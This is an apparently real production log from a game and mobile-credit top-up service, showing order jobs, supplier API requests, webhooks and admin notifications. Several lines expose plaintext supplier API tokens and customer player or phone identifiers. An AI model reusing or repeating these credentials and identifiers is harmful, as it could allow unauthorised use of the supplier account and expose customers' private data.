[2026-03-24 18:58:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PI54ATfF-1774367900","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:58:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-PI54ATfF-1774367900","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:58:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:58:29] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179154} 
[2026-03-24 18:58:29] production.INFO: Order updated successfully. Order ID: 179154, Status: completed  
[2026-03-24 18:58:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PI54ATfF-1774367900","status":"completed","codes_count":0} 
[2026-03-24 18:58:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 18:59:23] production.INFO: Constructing job for order: 179155  
[2026-03-24 18:59:24] production.INFO: Handling job for order: 179155  
[2026-03-24 18:59:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:59:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:59:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=8d3e6520-2713-4e27-a391-4069ad8a0c9c&Player_ID=8010683305  
[2026-03-24 18:59:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=8d3e6520-2713-4e27-a391-4069ad8a0c9c&Player_ID=8010683305","has_body":false} 
[2026-03-24 18:59:25] production.INFO: Operation sent successfully {"operation_id":164056,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0WD2ZL-1774367964","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 18:59:25"}},"processed_data":{"order_number":"ORD-0WD2ZL-1774367964","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 18:59:36] production.INFO: Constructing job for order: 179156  
[2026-03-24 18:59:37] production.INFO: Handling job for order: 179156  
[2026-03-24 18:59:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:59:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:59:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=af3ce9b3-c818-4b59-97bf-a68255982301&Player_ID=52091530316  
[2026-03-24 18:59:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=af3ce9b3-c818-4b59-97bf-a68255982301&Player_ID=52091530316","has_body":false} 
[2026-03-24 18:59:37] production.INFO: Operation sent successfully {"operation_id":164057,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lcIVh-1774367977","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:59:37"}},"processed_data":{"order_number":"ORD-lcIVh-1774367977","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:59:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0WD2ZL-1774367964","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:59:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-0WD2ZL-1774367964","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:59:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:59:53] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":179155} 
[2026-03-24 18:59:53] production.INFO: Order updated successfully. Order ID: 179155, Status: completed  
[2026-03-24 18:59:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0WD2ZL-1774367964","status":"completed","codes_count":0} 
[2026-03-24 18:59:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 18:59:58] production.INFO: Constructing job for order: 179157  
[2026-03-24 18:59:59] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lcIVh-1774367977","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:59:59] production.INFO: Processed webhook data (normalized) {"id":"ORD-lcIVh-1774367977","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:59:59] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:59:59] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179156} 
[2026-03-24 18:59:59] production.INFO: Order updated successfully. Order ID: 179156, Status: completed  
[2026-03-24 18:59:59] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lcIVh-1774367977","status":"completed","codes_count":0} 
[2026-03-24 19:00:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 19:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01"} 
[2026-03-24 19:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","total_operations":1,"sites_count":1} 
[2026-03-24 19:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 19:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:00:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:00:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:00:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:00:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"MhM7YWh8QT9ldINniqxSMY3Pf3cn3d74","execution_time":"2026-03-24 19:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:00:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:00:04] production.INFO: async() رجع: true  
[2026-03-24 19:00:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:00:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:00:05] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2000.0","mainamount":"2000","operation_number":"158597854","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpv1gdemqf8budaSIl9BY"}},"user_id":409} 
[2026-03-24 19:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:00:05] production.INFO: Handling job for order: 179157  
[2026-03-24 19:00:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:00:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:00:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=37e6a887-e280-404e-8f2a-81fcac932683&Player_ID=52043322774  
[2026-03-24 19:00:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=37e6a887-e280-404e-8f2a-81fcac932683&Player_ID=52043322774","has_body":false} 
[2026-03-24 19:00:06] production.INFO: Operation sent successfully {"operation_id":164058,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xg9exo8Q-1774368006","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:00:06"}},"processed_data":{"order_number":"ORD-xg9exo8Q-1774368006","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:00:06] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:00:06] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18676,"user_id":409,"amount":2000.0,"admins_notified":7} 
[2026-03-24 19:00:08] production.INFO: Constructing job for order: 179158  
[2026-03-24 19:00:09] production.INFO: Handling job for order: 179158  
[2026-03-24 19:00:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:00:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:00:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=9bab54f5-8167-402e-b9d4-48abefffbe6e&Player_ID=833475047  
[2026-03-24 19:00:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=9bab54f5-8167-402e-b9d4-48abefffbe6e&Player_ID=833475047","has_body":false} 
[2026-03-24 19:00:10] production.INFO: Operation sent successfully {"operation_id":164059,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-QFoFm-1774368010","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 19:00:10"}},"processed_data":{"order_number":"ORD-QFoFm-1774368010","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 19:00:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-QFoFm-1774368010","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:00:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-QFoFm-1774368010","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:00:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:00:16] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":179158} 
[2026-03-24 19:00:16] production.INFO: Order updated successfully. Order ID: 179158, Status: completed  
[2026-03-24 19:00:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-QFoFm-1774368010","status":"completed","codes_count":0} 
[2026-03-24 19:00:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 19:00:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xg9exo8Q-1774368006","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:00:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-xg9exo8Q-1774368006","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:00:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:00:18] production.INFO: SendAcceptReject: Notification queued {"user_id":93,"notification_type":"order_approved","reference_id":179157} 
[2026-03-24 19:00:18] production.INFO: Order updated successfully. Order ID: 179157, Status: completed  
[2026-03-24 19:00:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xg9exo8Q-1774368006","status":"completed","codes_count":0} 
[2026-03-24 19:00:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 93  
[2026-03-24 19:00:22] production.INFO: Constructing job for order: 179159  
[2026-03-24 19:00:25] production.INFO: Handling job for order: 179159  
[2026-03-24 19:00:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:00:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:00:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f2b5f0e4-2b20-435f-8c3e-b3409455d70f&Player_ID=52327484035  
[2026-03-24 19:00:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f2b5f0e4-2b20-435f-8c3e-b3409455d70f&Player_ID=52327484035","has_body":false} 
[2026-03-24 19:00:26] production.INFO: Operation sent successfully {"operation_id":164060,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-H3fLi-1774368026","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:00:26"}},"processed_data":{"order_number":"ORD-H3fLi-1774368026","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:00:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-H3fLi-1774368026","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:00:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-H3fLi-1774368026","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:00:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:00:38] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179159} 
[2026-03-24 19:00:38] production.INFO: Order updated successfully. Order ID: 179159, Status: completed  
[2026-03-24 19:00:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-H3fLi-1774368026","status":"completed","codes_count":0} 
[2026-03-24 19:00:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 19:00:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158597691","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phprjs06cpm7h4pcSOrNvJ"}},"user_id":1515} 
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:00:59] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:00:59] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18677,"user_id":1515,"amount":1000.0,"admins_notified":7} 
[2026-03-24 19:01:01] production.INFO: Constructing job for order: 179160  
[2026-03-24 19:01:02] production.INFO: Handling job for order: 179160  
[2026-03-24 19:01:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:01:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:01:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=70a22575-20a8-4e23-a361-154c0657014a&Player_ID=52055373065  
[2026-03-24 19:01:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=70a22575-20a8-4e23-a361-154c0657014a&Player_ID=52055373065","has_body":false} 
[2026-03-24 19:01:03] production.INFO: Operation sent successfully {"operation_id":164061,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4KYVGjYh-1774368063","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:01:03"}},"processed_data":{"order_number":"ORD-4KYVGjYh-1774368063","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:01:04] production.INFO: Constructing job for order: 179161  
[2026-03-24 19:01:06] production.INFO: Handling job for order: 179161  
[2026-03-24 19:01:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:01:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:01:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=3c4714ea-f0cf-4dae-8331-450c363f8dc4&Player_ID=0984910783  
[2026-03-24 19:01:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=3c4714ea-f0cf-4dae-8331-450c363f8dc4&Player_ID=0984910783","has_body":false} 
[2026-03-24 19:01:07] production.INFO: Operation sent successfully {"operation_id":164062,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-liJ-1774368067","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:01:07"}},"processed_data":{"order_number":"ORD-liJ-1774368067","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:01:26] production.INFO: Constructing job for order: 179162  
[2026-03-24 19:01:28] production.INFO: Handling job for order: 179162  
[2026-03-24 19:01:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:01:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:01:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=ffa8d4e5-1551-45be-b3d4-c90f79a890d0&Player_ID=0934026268  
[2026-03-24 19:01:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=ffa8d4e5-1551-45be-b3d4-c90f79a890d0&Player_ID=0934026268","has_body":false} 
[2026-03-24 19:01:29] production.INFO: Operation sent successfully {"operation_id":164063,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ljH-1774368088","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:01:29"}},"processed_data":{"order_number":"ORD-ljH-1774368088","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:01:47] production.INFO: Constructing job for order: 179163  
[2026-03-24 19:01:50] production.INFO: Handling job for order: 179163  
[2026-03-24 19:01:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:01:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:01:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1fe52397-b70b-4585-aee6-bdb617632231&Player_ID=52287949571  
[2026-03-24 19:01:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1fe52397-b70b-4585-aee6-bdb617632231&Player_ID=52287949571","has_body":false} 
[2026-03-24 19:01:50] production.INFO: Operation sent successfully {"operation_id":164064,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-e4bt9W-1774368110","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:01:50"}},"processed_data":{"order_number":"ORD-e4bt9W-1774368110","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 19:01:53] production.INFO: Constructing job for order: 179164  
[2026-03-24 19:01:53] production.INFO: Constructing job for order: 179165  
[2026-03-24 19:01:56] production.INFO: Handling job for order: 179164  
[2026-03-24 19:01:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:01:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:01:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=dbee7756-4148-445d-9489-8622a114cdca&Player_ID=52327321196  
[2026-03-24 19:01:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=dbee7756-4148-445d-9489-8622a114cdca&Player_ID=52327321196","has_body":false} 
[2026-03-24 19:01:57] production.INFO: Operation sent successfully {"operation_id":164065,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gfuYzn-1774368117","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:01:57"}},"processed_data":{"order_number":"ORD-gfuYzn-1774368117","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 19:01:57] production.INFO: Handling job for order: 179165  
[2026-03-24 19:01:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:01:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:01:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=f6312d04-a75a-43b6-bc28-0128af84f15f&Player_ID=0993565426  
[2026-03-24 19:01:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=f6312d04-a75a-43b6-bc28-0128af84f15f&Player_ID=0993565426","has_body":false} 
[2026-03-24 19:01:58] production.INFO: Operation sent successfully {"operation_id":164066,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iRVQbDny-1774368118","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:01:58"}},"processed_data":{"order_number":"ORD-iRVQbDny-1774368118","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:02:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04"} 
[2026-03-24 19:02:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","total_operations":7,"sites_count":2} 
[2026-03-24 19:02:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-4KYVGjYh-1774368063","ORD-e4bt9W-1774368110","ORD-gfuYzn-1774368117"]} 
[2026-03-24 19:02:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:02:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 19:02:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-e4bt9W-1774368110","operation_id":164064} 
[2026-03-24 19:02:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gfuYzn-1774368117","operation_id":164065} 
[2026-03-24 19:02:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:02:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 19:02:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:02:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 19:02:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 19:02:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":663,"notification_type":"order_approved","reference_id":179160} 
